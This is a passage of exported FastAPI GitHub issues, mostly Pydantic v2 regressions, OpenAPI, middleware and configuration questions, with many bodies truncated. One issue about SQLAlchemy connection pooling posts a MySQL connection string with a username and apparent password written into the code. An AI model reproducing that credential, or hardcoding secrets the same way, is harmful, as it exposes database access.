- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/pydantic/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
@app.exception_handler(ValidationError)
async def validation_exception_handler(request: Request, exc: ValidationError):
    return PlainTextResponse(
        str(exc), status_code=status.HTTP_500_INTERNAL_SERVER_ERROR
    )
```


### Description

I was trying to handle both `RequestValidationError` and `ValidationError` by writing a custom handler for `ValidationError` but that doesn't work.

[The docs](https://fastapi.tiangolo.com/tutorial/handling-errors/#... [TRUNCATED]","question,docs",2023-10-11T08:58:02Z,2025-12-12T15:12:09Z,9
tiangolo/fastapi,1920603595,Working with Pydantic v1 while having v2 installed,"### Discussed in https://github.com/tiangolo/fastapi/discussions/9966

<div type='discussions-op-text'>

<sup>Originally posted by **slafs** July 29, 2023</sup>
This is a continuation of a topic introduced in https://github.com/tiangolo/fastapi/discussions/9709#discussioncomment-6449868 as requested by @Kludex. I've chosen the ""Show and tell"" category as the (lack of) template seems better for this discussion.

In the original thread I've asked if there's a way to work with pydantic v1 while having v2 installed:

Pydantic v2 ships the latest version of v1 for easier migration, so the pattern is to work with v1 via things like `from pydantic.v1 import BaseModel` etc. while having v2 installed.

Currently, this approach doesn't seem to work with FastAPI 0.100.0 and the following snippet:
```py
from fastapi import FastAPI

from pydantic.v1 import BaseModel


class Model(BaseModel):
    foo: str = ""foo""
    bar: int = 2


app = FastAPI()


@app.get(""/"")
def root(model: Model) -> Model:
    return model
```
produces the following error:
```
Traceback (most recent call last):
  File "".../fiddles/fastapi_pydantic_v1_on_v2.py"", line 15, in <module>
    def root(model: Model) -> Model:
  File "".../lib/python3.10/site-packages/fastapi/routing.py"", line 706, in decorator
    self.add_api_route(
  File "".../lib/python3.10/site-packages/fastapi/routing.py"", line 645, in add_api_route
    route = route_class(
  File "".../lib/python3.10/site-packages/f... [TRUNCATED]",,2023-10-01T06:56:16Z,2025-10-11T17:55:22Z,15
tiangolo/fastapi,1912618154,High cpu usage and memory usage when access request body in middleware.,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

I try the code from https://github.com/tiangolo/fastapi/issues/1123
###  code
```
class RequestLogMiddleware(BaseHTTPMiddleware):
    def __init__(self, app: ASGIApp, dispatch: typing.Optional[DispatchFunction] = None, logger = None, white_list = []):
        self.white_list = white_list
        self.logger = logger
        self.regex_cache = dict()
        super(RequestLogMiddleware, self).__init__(app, dispatch)

    def get_trace_id(self):
        return str(uuid.uuid4())
    async def set_body(self, request: Request, body: bytes):
        async def receive() -> Message:
            return {""type"": ""http.request"", ""body"": body}
        request._receive = receive

    async def get_body(self, request: Request) -> bytes:
        body = await request.body()
        await self.set_body(request, body)
        try:
            return json.load(body.decode())
        except Exception:
            return body.decode()

    def in_white_list(self, method, path):
        key = f""{method}|{path}""
        if key in self.regex_cache:
            return self.regex_cache[key]
        for method_, regex in self.white_list:
            if method == method_ and re.match(regex, path):
                if key not in self.regex_cache:
                    self.regex_cache[key] = True
                self.logger.error(f""SIZE OF CACHE: {len(self.regex_cach... [TRUNCATED]",,2023-09-26T03:37:35Z,2023-09-26T03:44:01Z,0
tiangolo/fastapi,1912132038,Get the StringConstraints directly from the Identifier type,"**Problem:**
FastAPI does not validate custom string build using `Annotated[str, StringConstraints(...)]`

**Temporary solution**
_My solution is to annotate the constrained type with Path again, then it seems to work:_

```python
from typing import Annotated

from fastapi import FastAPI, Path
from pydantic import StringConstraints

# In my case this is imported from a lib with pydantic but without fastapi,
# so it can't be changed to Annotated[str, Path(pattern=r""^[a-fA-F0-9]+$"")]
Identifier = Annotated[str, StringConstraints(pattern=r""^[a-fA-F0-9]+$"")]


app = FastAPI()


@app.get(""/{some_id}"")
async def get_something(some_id: Annotated[Identifier, Path()]):
    return some_id

```

**Feature request**
Would be nice if fastapi would be able to get the constraint directly from the `Identifier` type without being required to add `Annotated[Identifier, Path()]`.

_Originally posted by @JasperJuergensen in https://github.com/tiangolo/fastapi/discussions/10105#discussioncomment-6901418_","feature,confirmed",2023-09-25T19:15:58Z,2025-06-17T11:11:27Z,7
tiangolo/fastapi,1911928478,"Pydantic 2 Regression: Openapi error when ""examples"" contains models","### Discussed in https://github.com/tiangolo/fastapi/discussions/10097

<div type='discussions-op-text'>

<sup>Originally posted by **UltimateLobster** August 17, 2023</sup>
### First Check

- [X] I added a very descriptive title here.
- [X] I used the GitHub search to find a similar question and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/pydantic/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
import uvicorn
from typing import Annotated

from pydantic import BaseModel, Field
from fastapi import Body, FastAPI

app = FastAPI()


class Toy(BaseModel):
    name: Annotated[str, Field(examples=[""mouse"", ""ball""])]


class Cat(BaseModel):
    toys: Annotated[list[Toy], Field(examples=[
        [Toy(name=""mouse""), Toy(name=""ball"")]
    ])]


@app.post(""/cats"")
async def create_cat(cat: Annotated[Cat, Body()]):
    print(""cat was created"")


... [TRUNCATED]","bug,confirmed",2023-09-25T16:54:56Z,2023-09-26T04:20:03Z,3
tiangolo/fastapi,1904416564,`Body` related parameters don't take `alias` in consideration,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

The `Body`, `File`, and `Form` parameters don't support `alias`.

The following snippet demonstrates the issue: 

```py
from typing import Annotated

from fastapi import Body, Cookie, FastAPI, Form, UploadFile, File, Query, Header, Path

app = FastAPI()


@app.post(""/{path}"")
def endpoint(
    path: Annotated[int, Path(alias=""PathAlias"")],
    cookie: Annotated[int, Cookie(alias=""CookieAlias"")],
    header: Annotated[int, Header(alias=""HeaderAlias"")],
    query: Annotated[int, Query(alias=""QueryAlias"")],
    body: Annotated[int, Body(alias=""BodyAlias"")],
    form: Annotated[int, Form(alias=""FormAlias"")],
    file: Annotated[UploadFile, File(alias=""FileAlias"")],
):
    ...
```

If you look at the generated Swagger you see that `alias` is only being used for `params.Param` related fields i.e. `Path`, `Cookie`, etc.

<img width=""1426"" alt=""Screenshot 2023-09-20 at 10 04 21"" src=""https://github.com/tiangolo/fastapi/assets/7353520/f5303787-615b-496b-8406-14f72c3e245e"">

People can overcome this right now using `validation_alias` as follows:

```py
from typing import Annotated

from fastapi import Body, Cookie, FastAPI, Form, UploadFile, File, Query, Header, Path

app = FastAPI()


@app.post(""/{path}"")
def endpoint(
    path: Annotated[int, Path(alias=""PathAlias"")],
    cookie: Annotated[int, Cookie(alias=""CookieAlias"")],
    head... [TRUNCATED]",bug,2023-09-20T08:06:09Z,2025-12-12T15:04:13Z,10
tiangolo/fastapi,1903507781,Send and receive data through UDP with FastAPI,"I am trying to send and receive data through UDP with devices connected in different networks. I could parse the clients data and save it in REDIS, so I know the address of the decives. I could test sending UDP data to the device and it responds. The problem appears when I want to attend for a request and then send UDP data to the device. I have this:

```
import asyncio
import uvicorn
from fastapi import FastAPI
from pydantic import BaseModel
import socket
import utils
from Server import Server
from ServerCommands import ServerCommands as sc

#-------------------------
eventHandler = Server()

async def send_udp_message_async(udp_socket, add , message: bytes):
    
    try:
        bytes_sent = udp_socket.sendto(message, add)
        print(""MENSAJE ENVIADO ASYNC"")
        return bytes_sent
    except Exception as e:
        print(""Error al enviar el mensaje UDP:"", str(e))
    finally:
        udp_socket.close()

async def receive_response(udp_socket, desired_response, timeout):
    loop = asyncio.get_event_loop()
    print(""ingresa receive response"")
# 1. Define data type
class Msg(BaseModel):
    msg: str
    mac: str
    add: tuple[str, int] = []
    id: int

# 2. Define an API object
app = FastAPI()

@app.on_event(""startup"")
async def startup_event():
    global UDP_HOST, UDP_PORT
    UDP_HOST = ""0.0.0.0""
    UDP_PORT = 5002
@app.post(""/send-udp/"")
async def send_udp_message(inp: Msg):
    try:
        udp_socket = socket.soc... [TRUNCATED]",,2023-09-19T18:20:30Z,2023-09-19T18:53:11Z,0
tiangolo/fastapi,1900363796,How to define custom objects as query parameters in FastAPI (using PydanticV2 annotations)?,"### Discussed in https://github.com/tiangolo/fastapi/discussions/10101

<div type='discussions-op-text'>

<sup>Originally posted by **DSamuylov** August 17, 2023</sup>
### First Check

- [X] I added a very descriptive title here.
- [X] I used the GitHub search to find a similar question and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/pydantic/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
import bson
from typing import Annotated

from pydantic import (
    field_validator,
    PlainSerializer,
    WithJsonSchema,
    BeforeValidator,
    TypeAdapter,
)
from fastapi import FastAPI


ObjectId = Annotated[
    bson.ObjectId,
    BeforeValidator(lambda x: bson.ObjectId(x) if isinstance(x, str) else x),
    PlainSerializer(lambda x: f""{x}"", return_type=str),
    WithJsonSchema({""type"": ""string""}, mode=""validation""),
    WithJsonSchema({""type"": ... [TRUNCATED]",question,2023-09-18T07:49:30Z,2024-07-26T08:37:19Z,10
tiangolo/fastapi,1892449440,Inconsistent add_api_route types,"### Discussed in https://github.com/tiangolo/fastapi/discussions/10235

<div type='discussions-op-text'>

<sup>Originally posted by **sidekick-eimantas** September 12, 2023</sup>
### First Check

- [X] I added a very descriptive title here.
- [X] I used the GitHub search to find a similar question and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/pydantic/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
### Direct mounting of routes
import pathlib

from fastapi import FastAPI, APIRouter
import uvicorn
import pydantic

class HelloRequest(pydantic.BaseModel):
    id: str


class HelloResponse(pydantic.BaseModel):
    hello: str


class Hello:
    def __init__(self, name: str) -> None:
        self.name = name

    async def handle(self, request: HelloRequest) -> HelloResponse:
        return HelloResponse(hello=self.name)

app = FastAPI()
h... [TRUNCATED]","bug,good first issue,confirmed,easy close",2023-09-12T12:47:37Z,2024-08-17T04:52:33Z,8
tiangolo/fastapi,1882159964,"How to deployment my DDP model, which contains 2 processes, using fastapi?","### Privileged issue

- [x] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

i deployment my DDP model, which contains 2 processes, but i got an error like
```
INFO:     Started server process [97844]
INFO:     Waiting for application startup.
INFO:     Application startup complete.
INFO:     Uvicorn running on http://localhost:8001 (Press CTRL+C to quit)
INFO:     Started server process [97845]
INFO:     Waiting for application startup.
INFO:     Application startup complete.
ERROR:    [Errno 98] error while attempting to bind on address ('127.0.0.1', 8001): address already in use
INFO:     Waiting for application shutdown.
INFO:     Application shutdown complete.
WARNING:torch.distributed.elastic.multiprocessing.api:Sending process 97844 closing signal SIGTERM
INFO:     Shutting down
INFO:     Waiting for application shutdown.
INFO:     Application shutdown complete.
INFO:     Finished server process [97844]
ERROR:torch.distributed.elastic.multiprocessing.api:failed (exitcode: 1) local_rank: 1 (pid: 97845) of binary: /home/wangyf/miniconda3/envs/kpl/bin/python
Traceback (most recent call last):
  File ""/home/wangyf/miniconda3/envs/kpl/bin/torchrun"", line 8, in <module>
    sys.exit(main())
  File ""/home/wangyf/miniconda3/envs/kpl/lib/python3.9/site-packages/torch/distributed/elastic/multiprocessing/errors/__init__.py"", line 346, in wrapper
    return f(*args, **kwargs)
  File ""/home/wangyf/miniconda3/envs/kpl/lib/pyth... [TRUNCATED]",,2023-09-05T15:01:08Z,2023-09-06T09:34:18Z,2
tiangolo/fastapi,1875443312,Mounting sub-applications under `APIRouter`,"### Discussed in https://github.com/tiangolo/fastapi/discussions/8682

<div type='discussions-op-text'>

### Example Code

```python
from fastapi import FastAPI, APIRouter
from starlette.testclient import TestClient

app = FastAPI()
api_router = APIRouter(prefix=""/api"")


@api_router.get(""/app"")
def read_main():
    return {""message"": ""Hello World from main app""}


app.include_router(api_router)

subapi = FastAPI()


@subapi.get(""/sub"")
def read_sub():
    return {""message"": ""Hello World from sub API""}


api_router.mount(""/subapi"", subapi)

client = TestClient(app)

assert client.get('/api/app').status_code == 200

# this next assert fails
assert client.get('/api/subapi/sub').status_code == 200
```


### Description

Is it possible to mount a sub-application under an APIRouter? APIRouter itself has a mount function and accepts similar arguments to mounting a sub-application on a FastAPI instance, but I can't get the routing to actually work (nor can i get the openapi docs or spec to come back from that I would assume are the correct URLs.

The docs for sub applications note that the sub-application will have it's root_path correctly set, and I've tried a few combinations of manually setting the root_path on the subapi instance, but to no avail.

## Related
- https://github.com/tiangolo/fastapi/discussions/9070
- https://github.com/tiangolo/fastapi/pull/5373",bug,2023-08-31T12:36:09Z,2026-05-18T13:04:45Z,18
tiangolo/fastapi,1874919447,Shorter param definitions,"Hello @tiangolo 

Do you think this PR #9941 could be merged ?",,2023-08-31T07:10:57Z,2023-08-31T07:11:25Z,2
tiangolo/fastapi,1874864989,HTTPBearer security scheme is returning 403 instead or 401,"### Discussed in https://github.com/tiangolo/fastapi/discussions/9130

<div type='discussions-op-text'>

<sup>Originally posted by **aaaaahaaaaa** September  8, 2020</sup>
HTTPBearer security scheme enabled as a dependency is returning a `403` when a request is unauthenticated because of a missing or a malformed `authorization` header. In those scenarios, a `401` should be returned instead.</div>

## Related PRs
- https://github.com/tiangolo/fastapi/pull/2120
- https://github.com/tiangolo/fastapi/pull/5310
- https://github.com/tiangolo/fastapi/pull/5332
- https://github.com/tiangolo/fastapi/pull/9312",bug,2023-08-31T06:26:52Z,2025-11-24T19:03:07Z,12
tiangolo/fastapi,1868011317,SQL Alchemy NULL POOL connection,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

def get_db():
   
    try:
        engine = create_engine(f""mysql+pymysql://AIC_FASTAPI_ALL:c20baf51cf022c3a02b835badc7bb7d9@localhost:{port_num}/digital_factory_ent_v1"",pool_pre_ping=True,pool_recycle = 60,poolclass=QueuePool)
        # engine = create_engine(""mysql+pymysql://root@localhost/digital_factory_ent_v1"",pool_pre_ping=True,pool_recycle = 60,poolclass=QueuePool)
        SessionLocal = sessionmaker(autocommit=False, autoflush=False, bind=engine)
        createFolder(""Log/"",f""Engine : {engine} "")
        
        db = SessionLocal()
        yield db
    finally:
        db.close()                                     i have been using db connection for api.. every request i need open and close the connection...what are the method should i use for close the db connection...shall i use null pool concept ...is it the make any issues",,2023-08-26T10:13:04Z,2023-08-26T18:17:14Z,1
tiangolo/fastapi,1860681203,Cannot use `Response` type hint as dependency annotation,"### Privileged issue

- [ ] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

FastAPI `0.95.0` introduced `Annotated` as a way to create dependencies (https://fastapi.tiangolo.com/release-notes/#0950).

Before `0.95.0`, it was possible to use `Response` as a type hint for dependencies. After that, it was not possible anymore.

- See #9897 for more details - Thanks @holyoaks for the report.

Example that worked before:

```py
from typing import Annotated
from fastapi import FastAPI, Response, Depends

app = FastAPI()

def set_no_cache_headers(response: Response) -> Response:
    response.headers[""Potato""] = ""potato""
    return response

@app.get(""/"")
def testing_response(response: Response = Depends(set_no_cache_headers)):
    return {}
```

As a workaround today, if you remove the `Response` type hint, it works as expected:

```py
@app.get(""/"")
def testing_response(response = Depends(set_no_cache_headers)):
    return {}
```

The `Annotated` way also doesn't work:

```py
@app.get(""/"")
def testing_response(response: Annotated[Response, Depends(set_no_cache_headers)]):
    return {}
```",,2023-08-22T06:26:09Z,2026-02-05T18:23:38Z,5
tiangolo/fastapi,1859090913,OpenAPI don´t load schemas in this last versions.,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

I have detected problems in the loading of the schemas generated by fastapi in openapi. As of version 0.95.1 schemas are loading null. It is possible that the error is caused by some pydantic update. With version 0.95.1 the schemas load correctly and can be seen in the development portals.",,2023-08-21T10:37:25Z,2023-08-21T10:43:28Z,1
tiangolo/fastapi,1850432806,There is no backward compatibility with pydantic1.10,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

File  tortoise\contrib\pydantic\base.py  line 4
```python
from pydantic import BaseModel, ConfigDict, RootModel
```

```log
ImportError: cannot import name 'RootModel' from 'pydantic'
```

relevant for pedantic version 1.10",,2023-08-14T19:44:37Z,2023-08-15T06:14:59Z,0
tiangolo/fastapi,1847697146,cannot import name 'WebSocketException' from 'starlette.exceptions',"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

I am using 0.100 version, and when i run the main.py, it comes out the error: ""cannot import name 'WebSocketException' from 'starlette.exceptions' (/Users/project/venv/lib/python3.9/site-packages/starlette/exceptions.py""

Early I have been using 0.78 for a long time, and I decided to use the latest version in the new project, but unfortunately it failed.",,2023-08-12T03:02:19Z,2023-08-12T04:16:56Z,0
tiangolo/fastapi,1837139184,"Pydantic v2, dataclasses, UUID, and `__annotations__`","### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

The combination of using:

* Pydantic v2
* dataclasses (instead of Pydantic models)
* UUIDs
* `from future import __annotations__`

seems to break in a strange way.

This was original reported in this discussion by @sanzoghenzo: https://github.com/tiangolo/fastapi/discussions/9709#discussioncomment-6449458

In particular the comment by @raddevon with the minimal example by @fantix:

```Python
from __future__ import annotations

import uuid
from dataclasses import dataclass, field
from typing import List, Union

from fastapi import FastAPI


@dataclass
class Item:
    id: uuid.UUID
    name: str
    price: float
    tags: List[str] = field(default_factory=list)
    description: Union[str, None] = None
    tax: Union[float, None] = None


app = FastAPI()


@app.get(""/items/next"", response_model=Item)
async def read_next_item():
    return {
        ""name"": ""Island In The Moon"",
        ""price"": 12.99,
        ""description"": ""A place to be be playin' and havin' fun"",
        ""tags"": [""breater""],
    }
```

Starting FastAPI with that breaks with an error of:

<details>
<summary>log</summary>

```
uvicorn main:app
Traceback (most recent call last):
  File ""/Users/user/code/fastapi/env3.10/lib/python3.10/site-packages/pydantic/type_adapter.py"", line 165, in __init__
    core_schema = _getattr_no_parents(type, '__pydant... [TRUNCATED]",bug,2023-08-04T17:54:46Z,2025-12-09T11:14:04Z,23
tiangolo/fastapi,1834295576,"dependency use yield doesn't response to the client immediately after yield, still have to wait after all the code after yield has finished","### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

I have a dependency like this:
![image](https://github.com/tiangolo/fastapi/assets/91235829/d4575d62-e558-4bfb-bc62-811e06b192b4)
I use await asyncio.sleep(20) after yield, I expect the response return to the client immediately, after 20 seconds, there will be a print 'finally', but I test with curl, the response is immediate, but in the postman or browser, I still have to wait 20 seconds, I thought it was because connection header, but I changed the connection header, still the same result.
<img width=""2038"" alt=""image"" src=""https://github.com/tiangolo/fastapi/assets/91235829/98a16023-3112-4605-a820-e2c39456bd9c"">
<img width=""426"" alt=""image"" src=""https://github.com/tiangolo/fastapi/assets/91235829/525fa2c1-e4fc-44c2-9739-dec46ee76d1d"">

I just really want to know why, is this a bug? ",,2023-08-03T05:22:22Z,2023-08-04T07:58:22Z,1
tiangolo/fastapi,1814547101,Handling `RequestValidationError` for `PydanticUndefinedType` with empty `list` type query parameters,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

Although I have not contacted tiangolo, I received [an approval](https://github.com/tiangolo/fastapi/discussions/9709#discussioncomment-6498728) from @Kludex to create an issue for this.

Right now there is a problem with how FastAPI handles `RequestValidationError` when a `list` query parameter is empty with Pydantic v2. Quoting Kludex's original comment:

> This is a bug.
> 
> It's not related to UUID, but with any list:
> 
> ```py
> from fastapi import FastAPI, Query
> 
> app = FastAPI()
> 
> 
> @app.get(""/test"")
> def get_test(device_ids: list[int] = Query()) -> int:
>     return 1
> 
> 
> if __name__ == ""__main__"":
>     import uvicorn
> 
>     uvicorn.run(f""{__name__}:app"", reload=True)
> ```
> 
> It's a FastAPI issue, not Pydantic. Thanks for reporting it. 👍

To provide some context, when the `RequestValidationError` is raised, the default handler tries to serialise the error with `jsonable_encoder`, which calls either `dict` or `vars`.

https://github.com/tiangolo/fastapi/blob/f7e3559bd5997f831fb9b02bef9c767a50facbc3/fastapi/exception_handlers.py#L20-L26

https://github.com/tiangolo/fastapi/blob/f7e3559bd5997f831fb9b02bef9c767a50facbc3/fastapi/encoders.py#L229-L238

However, when a `list` query parameter is empty, Pydantic somehow returns a `PydanticUndefinedType` that `jsonable_encoder` cannot understand, raising an uncaught ... [TRUNCATED]",bug,2023-07-20T18:11:21Z,2024-04-18T21:58:53Z,9
tiangolo/fastapi,1806104246,multi-environment configuration,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

How can we implement multi-environment configuration in FastAPI, like in Spring Boot? Can we use YAML or property files to achieve multi-environment configuration?",,2023-07-15T13:58:54Z,2023-07-15T18:14:03Z,2
tiangolo/fastapi,1800680569,Required query parameter declaration issues (FastAPI v.0.100.0),"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

When I declare query parameter without Annotated and with Ellipsis, e.g.:
_item_name: str = ..._
Everythings works as it should, there are no errors and interactive API docs webpage contains an information that item_name is „*required”. But:

1.
When I declare query parameter with or without Annotated and without Ellipsis, (as it is described in Tutorial - User Guide), e.g.:
_item_name: str_
or 
_item_name: Annotated[str, Query(min_length=3)]_
I get an uvicorn process error:
    _item_name: str
    ^^^^^^^^^^^^^^
   SyntaxError: non-default argument follows default argument_

2.
When I declara query parameter with Annotated and with Ellipsis, e.g.:
_item_name: Annotated[str, Query(min_length=3)] = ..._
There are no errors but interactive API docs webpage DOESN’T contain any information that item_name is required.

3.
When I try to import Required from pydantic (as it is described in Tutorial - User Guide, eg at the chapter
https://fastapi.tiangolo.com/tutorial/query-params-str-validations/#use-pydantics-required-instead-of-ellipsis
e.g.

_from pydantic import Required
item_name: Annotated[str, Query(min_length=3)] = Required_
I got en error:
_pydantic.errors.PydanticImportError: `pydantic:Required` has been removed in V2._",,2023-07-12T10:32:54Z,2023-07-12T10:33:36Z,0
tiangolo/fastapi,1800506684,pydantic v2 redoc bug,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

error: 

``` python
obj = Annotated[str, PlainValidator(lambda v: str(v))]
class Menu(BaseModel):
    uid: obj = Field(None, alias=""_id"", serialization_alias=""_id"")  # use Annotated error
```
effect: 

![image](https://github.com/tiangolo/fastapi/assets/40333954/0ecb761e-661b-41e2-a2b5-93e75041a13a)
![image](https://github.com/tiangolo/fastapi/assets/40333954/5898bac9-7f34-4704-8f9d-33491a41dd10)

Normal after annotation:

![image](https://github.com/tiangolo/fastapi/assets/40333954/2dde697e-1f05-4fdd-965d-7abd46ece83a)
![image](https://github.com/tiangolo/fastapi/assets/40333954/71645ba7-595c-45b7-abe1-5a4e6b267325)

Summary:

- Pydantic v2 is not fully adapted to redoc

",,2023-07-12T08:56:23Z,2023-07-12T08:59:48Z,0
tiangolo/fastapi,1792645190,Unable to render this definition,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

Hello,

I'm trying to use FastAPI's Swagger UI in an offline environment. I have downloaded the static files from Swagger UI's GitHub repository and put them in a `static` directory in my project. I have also configured FastAPI to serve these static files and to use the local Swagger UI for the docs page.

Here is a simplified version of my code:

```python
import uvicorn
from pathlib import Path
from fastapi import FastAPI
from file_parse.api import fp_router
from fastapi.staticfiles import StaticFiles

ROOT_PATH = Path(__file__).parent

app = FastAPI()

app.mount(""/static"", StaticFiles(directory=""static""), name=""static"")



app.include_router(fp_router, prefix=""/file_parse"", tags=[""图片、音频、视频解析""])

if __name__ == ""__main__"":
    uvicorn.run(app, host=""0.0.0.0"", port=8080, log_level=""debug"", reload=True)
```
However, when I visit the /docs page, I get the following error:
```
Unable to render this definition
The provided definition does not specify a valid version field.

Please indicate a valid Swagger or OpenAPI version field. Supported version fields are swagger: ""2.0"" and those that match openapi: 3.0.n (for example, openapi: 3.0.0).
```
I have checked my OpenAPI JSON at /openapi.json and it seems to be fine. I'm also using a version of Swagger UI that supports OpenAPI 3.0.0.

I'm not sure what I'm doing wrong. Could you pl... [TRUNCATED]",,2023-07-07T02:57:53Z,2023-07-07T06:26:41Z,0
tiangolo/fastapi,1789210035,cannot import name 'deprecated' from 'typing_extensions',"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

When I use fastapi in Python 3.10.11. Throw some errors like ""cannot import name 'deprecated' from 'typing_extensions“",,2023-07-05T09:59:51Z,2023-07-05T10:01:55Z,0
tiangolo/fastapi,1788907073,"I wanted to record the request result, but an error occurred while retrieving the content","### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

I use fastapi 0.99.1

Here is my custom middleware

```py
import time

from fastapi import Request
from starlette.middleware.base import BaseHTTPMiddleware
from uvicorn.protocols.utils import get_path_with_query_string
from starlette.responses import StreamingResponse
from app.core.logger import access_logger as logger


class AccessLogMiddleware(BaseHTTPMiddleware):
    async def dispatch(self, request: Request, call_next):
        start_time = time.perf_counter_ns()

        response: StreamingResponse = await call_next(request)

        end_time = time.perf_counter_ns()

        process_time = round((end_time - start_time) / 10**9, 3)

        status_code = response.status_code
        path = get_path_with_query_string(request.scope)
        client_host = request.client.host
        client_port = request.client.port
        http_method = request.method
        content = response.content

        logger.info(
            f""{http_method} | status_code: {status_code} | {path} | time: {process_time} s | {client_host}:{client_port} | content: {content}"")

        return response

```

An exception will be thrown here：'_StreamingResponse' object has no attribute 'content'

I would like to ask how to solve it, thank you
",,2023-07-05T06:59:55Z,2023-07-05T07:05:57Z,0
tiangolo/fastapi,1784692706,"🐛 OpenAPI validation errors after upgrading from FastAPI 0.98.0 to 0.99.0, valid JSON Schema includes `bool`","## Description

(by @tiangolo)

The problem is that a ""valid JSON Schema"" includes a `bool` (i.e. `true` and `false`).

So, `additionalProperties` doesn't have to be a JSON object, it can be `false`, to mean no additional properties are allowed.

When I upgraded the JSON Schema models to include the new types and fields for the new JSON Schema 2020-12 I removed `bool` as a valid JSON Schema.

This is solved in: https://github.com/tiangolo/fastapi/pull/9781

### Discussed in https://github.com/tiangolo/fastapi/discussions/9779

<div type='discussions-op-text'>

<sup>Originally posted by **jawnsy** July  1, 2023</sup>
### First Check

- [X] I added a very descriptive title here.
- [X] I used the GitHub search to find a similar question and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/pydantic/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fast... [TRUNCATED]",bug,2023-07-02T15:33:46Z,2023-07-02T16:03:29Z,1
tiangolo/fastapi,1780066219,FastAPI return response code of 422 when sending image files to test.,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

Hi. I'm writing test.py to test my server. I send an image as a request and it worked. But when I tried to send 2 or more image files, I failed. It returned this error: 
**422
{'detail': [{'loc': ['body', 'file_list'], 'msg': 'field required', 'type': 'value_error.missing'}]}**

Here is my code in the test.py file: 
```
import os
import requests

# Define the URL and the headers
url = ""http://127.0.0.1:8000/liveness_detection_image""
# headers = {
#     ""accept"": ""application/json"",
#     ""Content-Type"": ""multipart/form-data"",
# }
# file_paths = []
BASE_PATH = '/home/trung2000/Desktop/ai/POC/clean_arch/script/test_images/'

file2 = BASE_PATH + ""image_2.jpg""
file1 = BASE_PATH + ""image_1.jpg""
# Define the file to upload
file_list = [(""image_2"",open(file2, ""rb"")),
             (""image_1"",open(file1, ""rb"")),]

# Send a POST request with the file as multipart/form-data
response = requests.post(url,files=file_list)

# Print the response status and content
print(response.status_code)
print(response.json())
```

And here is the code that I defined my router:
```
router = APIRouter()

@router.post(""/liveness_detection_image"")
async def liveness_detection_img(file_list: list[UploadFile] = File(),) :
    response_list = []
    # Declare model params and model
    MODEL_DIR = ""./resources/anti_spoof_models""
    model = AntiSpoofPredict(0)
... [TRUNCATED]",,2023-06-29T03:32:33Z,2023-06-30T18:17:59Z,3
tiangolo/fastapi,1765831727,FastAPI with Pydantic v2,"Is FastAPI with support for Pydantic v2 working for you (`0.100.0-beta1`)?

~Let me know **in this discussion** on the link: https://github.com/tiangolo/fastapi/discussions/9709~

